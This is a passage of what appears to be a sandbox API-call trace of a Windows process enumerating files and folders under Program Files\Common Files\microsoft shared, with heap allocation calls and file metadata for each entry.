ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.698] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.698] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.698] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.698] GetProcessHeap () returned 0xaf0000 [0276.698] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.698] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0276.698] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0276.698] GetProcessHeap () returned 0xaf0000 [0276.698] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.700] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0276.700] GetProcessHeap () returned 0xaf0000 [0276.700] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.700] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.701] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="en-US", cAlternateFileName="")) returned 1 [0276.701] GetProcessHeap () returned 0xaf0000 [0276.701] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.702] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.702] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0276.702] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0276.702] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0276.702] GetProcessHeap () returned 0xaf0000 [0276.702] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.702] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0276.702] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0276.702] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.702] GetProcessHeap () returned 0xaf0000 [0276.702] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.703] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0276.703] GetProcessHeap () returned 0xaf0000 [0276.703] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.703] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.703] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0276.703] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0276.703] GetProcessHeap () returned 0xaf0000 [0276.703] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0276.704] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.704] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0276.705] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0276.705] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0276.705] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0276.705] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0276.706] GetProcessHeap () returned 0xaf0000 [0276.706] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.706] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0276.707] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0276.707] GetProcessHeap () returned 0xaf0000 [0276.707] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.708] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0276.708] GetProcessHeap () returned 0xaf0000 [0276.708] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0276.709] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.709] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 0 [0276.709] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0276.709] GetProcessHeap () returned 0xaf0000 [0276.709] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.709] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0276.710] GetProcessHeap () returned 0xaf0000 [0276.710] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.710] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.710] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0276.710] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0276.710] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.710] GetProcessHeap () returned 0xaf0000 [0276.710] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.710] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0276.711] GetProcessHeap () returned 0xaf0000 [0276.711] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0276.712] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.712] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0276.713] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0276.713] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, 